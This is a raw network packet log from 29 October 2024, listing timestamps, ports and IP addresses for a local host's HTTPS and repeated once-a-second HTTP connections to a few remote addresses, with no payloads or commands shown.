Oct 29, 2024 05:03:42.129483938 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.129610062 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.129776001 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.129971981 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.129997015 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.132452965 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.132482052 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.133405924 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.133438110 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.133445978 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.133738041 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.133766890 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.140837908 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.141010046 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.141046047 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.141060114 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.141077042 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.141115904 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.141215086 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.141233921 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.141262054 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.141294956 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.141356945 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.166090012 CET	80	50062	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:42.166156054 CET	50062	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:42.169394016 CET	50062	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:42.169698000 CET	50064	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:42.175091982 CET	80	50064	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:42.175309896 CET	80	50062	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:42.175409079 CET	50062	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:42.175427914 CET	50064	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:42.175648928 CET	50064	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:42.182121992 CET	80	50064	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:43.080013037 CET	80	50064	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:43.080131054 CET	50064	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:43.240633965 CET	50064	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:43.241003990 CET	50065	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:43.246454000 CET	80	50065	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:43.246517897 CET	80	50064	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:43.246536016 CET	50065	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:43.246615887 CET	50064	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:43.247246981 CET	50065	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:43.252612114 CET	80	50065	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:44.153549910 CET	80	50065	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:44.153618097 CET	50065	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:44.156250954 CET	50065	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:44.156660080 CET	50066	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:44.162091017 CET	80	50066	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:44.162148952 CET	80	50065	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:44.162170887 CET	50066	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:44.162201881 CET	50065	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:44.162486076 CET	50066	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:44.167857885 CET	80	50066	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:45.073321104 CET	80	50066	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:45.073457003 CET	50066	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:45.191695929 CET	50066	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:45.191986084 CET	50067	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:45.197518110 CET	80	50067	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:45.197690964 CET	80	50066	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:45.197792053 CET	50067	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:45.197791100 CET	50066	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:45.197989941 CET	50067	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:45.203329086 CET	80	50067	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:46.016938925 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:03:46.022456884 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:03:46.110539913 CET	80	50067	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:46.112390995 CET	50067	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:46.115075111 CET	50067	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:46.115402937 CET	50068	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:46.120717049 CET	80	50068	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:46.120763063 CET	80	50067	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:46.120848894 CET	50067	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:46.121068001 CET	50068	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:46.121068001 CET	50068	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:46.127820015 CET	80	50068	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:47.028408051 CET	80	50068	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:47.028496027 CET	50068	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:47.145526886 CET	50068	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:47.145872116 CET	50069	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:47.151742935 CET	80	50069	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:47.151803017 CET	80	50068	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:47.151889086 CET	50068	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:47.151896000 CET	50069	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:47.152127981 CET	50069	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:47.157480001 CET	80	50069	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:48.056788921 CET	80	50069	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:48.060539007 CET	50069	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:48.346918106 CET	50069	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:48.347243071 CET	50070	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:48.352700949 CET	80	50070	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:48.352813959 CET	80	50069	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:48.352886915 CET	50069	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:48.352909088 CET	50070	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:48.353065014 CET	50070	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:48.358669043 CET	80	50070	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:49.251648903 CET	80	50070	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:49.251712084 CET	50070	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:49.418562889 CET	50070	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:49.419286966 CET	50071	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:49.424458981 CET	80	50070	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:49.424515009 CET	50070	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:49.424608946 CET	80	50071	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:49.424863100 CET	50071	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:49.425280094 CET	50071	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:49.430553913 CET	80	50071	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:49.997733116 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:49.997962952 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:49.998821020 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:49.999949932 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:49.999969959 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:50.337095022 CET	80	50071	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:50.337227106 CET	50071	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:50.348952055 CET	50071	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:50.349252939 CET	50072	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:50.354720116 CET	80	50072	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:50.354795933 CET	50072	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:50.355073929 CET	80	50071	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:50.355209112 CET	50071	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:50.355822086 CET	50072	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:50.361162901 CET	80	50072	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:50.373979092 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:50.374015093 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:50.374186039 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:50.374825001 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:50.374839067 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:50.992197990 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:50.992306948 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:50.994087934 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:50.994093895 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:50.994853973 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:50.997185946 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:50.997212887 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:50.997339010 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:51.279246092 CET	80	50072	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:51.279336929 CET	50072	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:51.394567966 CET	50072	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:51.394895077 CET	50074	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:51.400347948 CET	80	50074	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:51.400481939 CET	80	50072	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:51.400497913 CET	50074	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:51.400556087 CET	50072	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:51.400681973 CET	50074	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:51.406069040 CET	80	50074	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:51.500226021 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:51.500464916 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:51.500544071 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:51.500679970 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:51.500699043 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:51.500708103 CET	50073	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:51.500714064 CET	443	50073	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:51.502285004 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:51.508034945 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:51.508120060 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:51.508213043 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:51.513672113 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.308943987 CET	80	50074	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.310674906 CET	50074	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.313359022 CET	50074	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.313740015 CET	50076	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.319196939 CET	80	50076	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.319219112 CET	80	50074	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.319286108 CET	50076	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.319303036 CET	50074	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.319617987 CET	50076	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.325000048 CET	80	50076	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.423767090 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.423821926 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.423860073 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.423890114 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.423913002 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.423943996 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.423960924 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.423979998 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.424014091 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.424030066 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.424048901 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.424082041 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.424094915 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.424120903 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.424161911 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.429594040 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.429630041 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.429675102 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.429687023 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.581388950 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.581458092 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.581459999 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.581496000 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.581532001 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.581552982 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.581568003 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.581603050 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.581636906 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.581646919 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.581672907 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.581772089 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.582024097 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.582078934 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.582079887 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.582154036 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.582190037 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.582195997 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.582226038 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.582329988 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.583069086 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.583123922 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.583158016 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.583190918 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.583204985 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.583226919 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.583235979 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.586710930 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.586766958 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.586801052 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.586831093 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.586875916 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.587152004 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.587186098 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.587224007 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.587229013 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.720051050 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.738261938 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738281012 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738306046 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738322973 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738334894 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.738339901 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738364935 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.738432884 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738449097 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738462925 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738470078 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.738500118 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.738624096 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738676071 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738692045 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738717079 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.738745928 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738764048 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.738806009 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.739193916 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739209890 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739226103 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739237070 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.739264011 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.739362001 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739387989 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739403963 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739428997 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.739459038 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739475012 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739491940 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739497900 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.739509106 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739526987 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.739537954 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.739804983 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.740062952 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740078926 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740098953 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740115881 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740123987 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.740159988 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.740185976 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740202904 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740216970 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740231991 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740258932 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.740273952 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740283012 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.740288973 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.740330935 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.741024017 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741050959 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741065979 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741082907 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741091013 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.741099119 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741137028 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.741379023 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741429090 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741446018 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741470098 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.741481066 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.741512060 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741527081 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741540909 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741556883 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.741580009 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.741609097 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.743824959 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.743850946 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.743866920 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.743901968 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.865216970 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903156996 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903215885 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903274059 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903287888 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903343916 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903378963 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903412104 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903422117 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903446913 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903470039 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903480053 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903512955 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903548002 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903564930 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903599024 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903630018 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903635979 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903687000 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903701067 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903721094 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903753996 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903763056 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903789043 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903821945 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903834105 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903876066 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903909922 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903942108 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903951883 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.903978109 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.903980017 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.904030085 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.904081106 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.904083014 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.904115915 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.904149055 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.904181004 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.904191971 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.904232979 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.904274940 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.904283047 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.904319048 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.904321909 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:52.904355049 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:52.904390097 CET	80	50075	185.215.113.16	192.168.2.5
